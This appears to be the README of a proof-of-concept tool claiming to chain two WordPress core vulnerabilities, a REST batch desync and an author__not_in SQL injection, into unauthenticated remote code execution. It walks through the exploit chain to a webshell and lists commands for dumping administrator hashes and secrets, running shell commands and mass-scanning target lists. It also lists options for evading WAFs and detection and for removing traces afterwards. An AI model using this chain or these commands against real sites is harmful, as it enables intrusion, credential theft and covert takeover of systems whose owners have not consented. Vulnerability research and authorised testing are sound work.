
Pre-auth RCE PoC for WordPress core — chains CVE-2026-63030 (REST /batch/v1 route-confusion desync) with CVE-2026-60137 (author__not_in SQLi) into an unauthenticated shell. Authorized testing only.
Unauthenticated WordPress core RCE PoC chaining CVE-2026-63030 + CVE-2026-60137. Authorized testing only.
wp2shell.py is a single-file, standard-library-only proof of concept that chains
two WordPress core vulnerabilities into unauthenticated remote code execution:
| CVE | Component | Bug |
|---|---|---|
| CVE-2026-63030 | REST /batch/v1 handler | route-confusion desync — the batch handler loses sync between its handler table and its validation table once a sub-request path fails to parse, so a sub-request is dispatched through a handler it was never validated for. |
| CVE-2026-60137 | WP_Query | scalar SQL injection — the author__not_in value is pasted straight into SQL, so a string reaching it is injectable. |
Neither is RCE on its own. The desync is the delivery (it smuggles an attacker string into a query it should never reach); the injection is the primitive. Together they give a pre-auth attacker a full SQL read/write oracle, and from there a working shell.
⚠️ Authorised testing only. This exploits live WordPress installs. Use it only against systems you own or have explicit written permission to test.
Vulnerable: 6.8.0–6.8.5, 6.9.0–6.9.4, 7.0.0–7.0.1 Patched: 6.8.6, 6.9.5, 7.0.2 (and later) Reported by Adam Kues (Assetnote / Searchlight Cyber); SQLi also credited to TF1T, dtro, haongo.
Only 6.9.0–7.0.1 are RCE-capable. On the 6.8.x line the desync still fires, but the
branch that would misalign the handler hits a WP_Error::get_method() fatal instead —
so 6.8.x is a denial-of-service / crash, not a shell. The tool detects this and tells
you which primitive is available.
The exploit is built in layers; each one is a bridge to the next.
Desync (CVE-2026-63030). A batch request nests a second batch. One sub-request
carries a deliberately malformed path (http://:, which wp_parse_url() rejects).
In 6.9.0+ the failed parse makes the handler and validation tables drift by one entry,
so the next sub-request runs under a handler it was never validated against — the
public posts collection.
Injection (CVE-2026-60137). That mis-dispatched call reaches WP_Query with an
attacker-controlled author__not_in. A UNION ALL SELECT there doesn't read rows —
it fabricates them, letting us forge arbitrary posts in the query result.
SQL → write bridge. The fabricated posts carry [embed] markup. WordPress
dutifully resolves and caches them as real oembed_cache post-meta rows — turning
a read-only injection into an arbitrary write primitive.
Privilege pivot. Using that write bridge we forge (a) a customizer changeset
authored as the real administrator and (b) a self-referential request post. Together
they force WordPress to re-run its own request pipeline as that admin — a window
just long enough for a queued POST /wp/v2/users call to create a new administrator.
Shell. Sign in as the new admin, upload a plugin, run the command. The account, its meta, the oembed rows, and the webshell are all cleaned up afterwards — no persistent footprint is left behind.
For the read side (--dump, prefix resolution, cached IDs) the tool auto-selects the
fastest oracle that works and stops at the first hit:
union — in-band UNION: the forged row's post_title carries |||HEX(value)|||,
which is reflected verbatim in the /wp/v2/posts response body. Reads a whole value
(any length) in one request. If UNION reflects, the boolean oracles are never probed.bool — boolean X-WP-Total oracle: the confused sub-response's X-WP-Total header
is count>0 for true / 0 for false. One bit per request (bisection).time — time-based SLEEP(): the fallback when the body is stripped and the
response is a 500 (e.g. a post-dispatch fatal from a caching mu-plugin). Works even on
targets that crash on every REST call.--dump uses GROUP_CONCAT to pull the whole credential set in one shot when UNION is
available.
None. Python 3.7+ standard library only — no pip install.
chmod +x wp2shell.py
# 1. Is it vulnerable? (no injection, no writes, no account created)
./wp2shell.py http://target --check
# 2. Read-only credential dump — FIRST administrator + option secrets
./wp2shell.py http://target --dump
# …every administrator
./wp2shell.py http://target --dump all
# 3. Full RCE — create a temp admin, run a command, clean up
./wp2shell.py http://target --exec "id; uname -a"
./wp2shell.py http://target --user-list # full user table (logins/emails/roles)
./wp2shell.py http://target --content # every post type at status=any (private/draft)
./wp2shell.py http://target --content full # …including each item's raw body
./wp2shell.py -f targets.txt --check --target-threads 8
| Flag | Purpose |
|---|---|
url / -f FILE | single target, or a file of targets (one URL per line) |
--check | vulnerability check only — no injection, writes, or account |
--dump [all] | dump the first admin's hash + secrets; all = every admin |
--exec CMD | create temp admin → run CMD → clean up |
--user-list | elevated in-band read of the full user table (no login, bypasses 2FA) |
--content [full] | elevated read of every post type at status=any; full adds bodies |
--oracle {auto,union,bool,time} | force an extraction oracle (default auto) |
--prefix PFX | force the table prefix instead of auto-resolving |
--impersonate UID | impersonate this user id instead of the first admin |
--threads N | concurrent extraction probes within one target (default 5) |
--target-threads N | scan N targets from -f concurrently (default 1) |
--proxy URL | route through a proxy (e.g. Burp http://127.0.0.1:8080) |
--timeout SEC | per-request timeout (default 30) |
--verbose / -v | dump raw batch sub-responses (debugging) |
| Flag | Purpose |
|---|---|
--form | send the batch as multipart/form-data (clean URL, no ?rest_route=) |
--permalink [PREFIX] | route via /<PREFIX>/batch/v1 (default wp-json); keeps the payload out of the URL and out of $_POST. Tip: --permalink index.php/wp-json reaches REST via PATH_INFO, evading rules anchored on /wp-json |
--dummy N | prepend N bytes of junk in the body to overflow a WAF inspection buffer |
--donor {widgets,categories,tags} | switch the confusion donor route if one 500s (default widgets) |
--per-page N | forge per_page (-1 or a large positive both return all rows; use a large positive if the target 500s on -1) |
--users-route PATH | alternate case/query for the create-user call (/wp/v2/Users, …?_=1) |
--primer PATH | alternate malformed desync path if a WAF fingerprints the default http://: |
--user-agent UA | pin the UA (default: a random realistic browser UA per run) |
--embed-base URL | override the oembed URL base (avoid a self-embed loopback) |
$wp$2y$… / $P$… / $2y$…) go straight to hashcat
(-m 3200 for phpass, or the WP bcrypt mode). WordPress 6.8+ uses $wp$… bcrypt.--dump defaults to the first administrator only. Use --dump all for the
full admin list.--oracle time --dump to recover hashes.